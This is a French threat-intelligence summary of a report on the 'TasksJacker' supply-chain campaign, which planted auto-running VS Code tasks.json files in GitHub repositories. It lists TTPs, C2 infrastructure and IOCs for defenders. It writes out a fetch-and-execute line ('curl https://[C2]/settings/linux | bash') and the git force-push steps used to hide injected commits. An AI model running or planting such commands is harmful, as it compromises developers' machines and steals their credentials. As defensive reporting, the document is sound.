🔍 Contexte
Rapport publié le 2 avril 2026 par OpenSourceMalware.com, issu d’une investigation débutée le 31 janvier 2026. L’analyse documente une campagne active baptisée TasksJacker, attribuée avec un niveau de confiance MEDIUM-HIGH à des acteurs liés à la Corée du Nord (DPRK).
🎯 Vecteur d’attaque principal
Les attaquants injectent des fichiers .vscode/tasks.json malveillants dans des dépôts GitHub compromis. La fonctionnalité "runOn": "folderOpen" de VS Code déclenche automatiquement l’exécution d’une commande shell dès qu’un développeur ouvre le dossier cloné — sans interaction utilisateur supplémentaire.
Chaîne d’attaque :
git cloned’un dépôt compromis- Ouverture du dossier dans VS Code
- Exécution automatique :
curl https://[C2]/settings/linux | bash - Déploiement d’un payload multi-étages
🔄 Technique de réécriture d’historique git
Un script temp_auto_push.bat laissé accidentellement dans les dépôts révèle la méthode :
- Extraction des métadonnées du commit légitime (timestamp, auteur, email)
- Manipulation de l’horloge système pour correspondre à la date originale
git commit --amend --no-verifypour injecter les fichiers malveillantsgit push -uf origin --no-verifypour écraser l’historique distant
🧱 Infrastructure C2 multi-blockchain (inédite)
Première utilisation documentée d’un C2 multi-blockchain par un acteur étatique :
- TRON (primaire) : adresses
TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAPetTXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG - Aptos (fallback) : deux adresses de secours
- Binance Smart Chain (BSC) : stockage des payloads chiffrés dans les données de transaction
- Déchiffrement XOR avec clés statiques
Après le takedown du C2 initial (260120.vercel.app), les acteurs ont pivoté vers 7 nouveaux endpoints Vercel masqués derrière 5 sous-domaines short.gy.
📦 Structure du payload
- Stage 1 : Dropper bash auto-supprimant, détection OS, installation Node.js portable dans
~/.vscode/ - Stage 2 : Loader JavaScript obfusqué communiquant avec les blockchains
- Stage 3A : Stealer immédiat (credentials navigateurs, wallets crypto, clés SSH, credentials AWS, tokens git)
- Stage 3B : Backdoor persistant en processus détaché
📊 Échelle et victimes
- 400+ dépôts GitHub compromis sur ~1 mois
- Pic : 39 dépôts en une journée (29 janvier 2026)
- DataStax : 12 dépôts compromis en 101 secondes via le compte de service
ds-jenkins-builds - Autres organisations : Overdose-Digital, hackforla, GARAGE-POS, softvence-omega-future-stack
- 9+ nouveaux dépôts encore infectés au 20 février 2026
🔗 Campagnes liées
PolinRider (phase 2 de la même opération) : utilisation des credentials volés pour soumettre des PRs malveillants sur des forks de projets majeurs (VS Code 182K⭐, LangFlow 145K⭐, Apache Superset 70K⭐, Rails 58K⭐). 3 PRs fusionnés avec succès.
GlassWorm / ForceMemo (acteur séparé, non-DPRK) : adoption indépendante des mêmes TTPs force-push + C2 blockchain (Solana), compromission de centaines de dépôts Python et hijacking de packages npm React Native (130K+ téléchargements/mois).
👤 Attribution
- Compte GitHub Polin9912 (ID: 248093442) identifié comme opérateur du C2 Vercel
- Emails :
jacky870120@outlook.cometPolinRider@outlook.com - Telegram :
@JackTomesSecret/ Discord :Jacky Tomes - Confiance attribution DPRK : MEDIUM-HIGH
📋 Type d’article
Analyse technique approfondie publiée par OpenSourceMalware.com, visant à documenter exhaustivement la campagne TasksJacker, ses TTPs, son infrastructure et ses IOCs pour permettre la détection et la réponse par la communauté de sécurité.
🧠 TTPs et IOCs détectés
Acteurs de menace
- Polin9912 / PolinRider (state-sponsored)
- GlassWorm (unknown)
TTP
- T1195.001 — Supply Chain Compromise: Compromise Software Dependencies and Development Tools (Initial Access)
- T1059.007 — Command and Scripting Interpreter: JavaScript (Execution)
- T1059.004 — Command and Scripting Interpreter: Unix Shell (Execution)
- T1543 — Create or Modify System Process (Persistence)
- T1027 — Obfuscated Files or Information (Defense Evasion)
- T1070.004 — Indicator Removal on Host: File Deletion (Defense Evasion)
- T1036 — Masquerading (Defense Evasion)
- T1555 — Credentials from Password Stores (Credential Access)
- T1552.004 — Unsecured Credentials: Private Keys (Credential Access)
- T1102.001 — Web Service: Dead Drop Resolver (Command and Control)
- T1071.001 — Application Layer Protocol: Web Protocols (Command and Control)
- T1041 — Exfiltration Over C2 Channel (Exfiltration)
IOC
- Domaines :
260120.vercel.app - Domaines :
vscode-settings-tasks-json.vercel.app - Domaines :
vscodesetting-task.vercel.app - Domaines :
default-configuration.vercel.app - Domaines :
jameslack.vercel.app - Domaines :
alanservice.vercel.app - Domaines :
georgeservice77.vercel.app - Domaines :
felixpools.vercel.app - Domaines :
cgbrandh.short.gy - Domaines :
chvsvr.short.gy - Domaines :
gurucooldown.short.gy - Domaines :
location-request-api.short.gy - Domaines :
PEsnCV.short.gy - Domaines :
api.trongrid.io - Domaines :
fullnode.mainnet.aptoslabs.com - Domaines :
bsc-dataseed.binance.org - Domaines :
bsc-rpc.publicnode.com - URLs :
https://cgbrandh.short.gy/haCgNg6l - URLs :
https://cgbrandh.short.gy/haCgNg6m - URLs :
https://cgbrandh.short.gy/haCgNg6w - SHA256 :
0xec567681e8c98d694ef6f10303ac37da8cec0180da4c4be4c54e47a0bf31c436 - SHA256 :
0xd33f78662df123adf2a178628980b605a0026c0d8c4f4e87e43e724cda258fef - Emails :
jacky870120@outlook.com - Emails :
PolinRider@outlook.com - Fichiers :
tasks.json - Fichiers :
settings.json - Fichiers :
temp_auto_push.bat - Chemins :
.vscode/tasks.json - Chemins :
.vscode/settings.json - Chemins :
~/.vscode/node-v*-darwin-x64/ - Chemins :
~/.vscode/node-v*-linux-x64/
Malware / Outils
- TasksJacker (other)
- temp_auto_push.bat (tool)
- TasksJacker Stage 3A Stealer (stealer)
- TasksJacker Stage 3B Backdoor (backdoor)
🔗 Source originale : https://opensourcemalware.com/blog/tasksjacker-blog-post